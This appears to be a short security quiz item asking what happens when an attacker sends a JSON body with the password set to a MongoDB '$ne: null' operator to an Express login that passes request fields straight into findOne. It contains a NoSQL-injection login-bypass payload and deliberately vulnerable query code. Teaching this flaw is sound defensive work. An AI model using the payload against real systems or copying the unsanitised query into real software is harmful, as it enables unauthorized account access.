MongoDB login bypass

This Express login uses MongoDB. An attacker sends {"email":"a@b.com","password":{"$ne":null}}. What happens?

const user = await users.findOne({ email: req.body.email, password: req.body.password })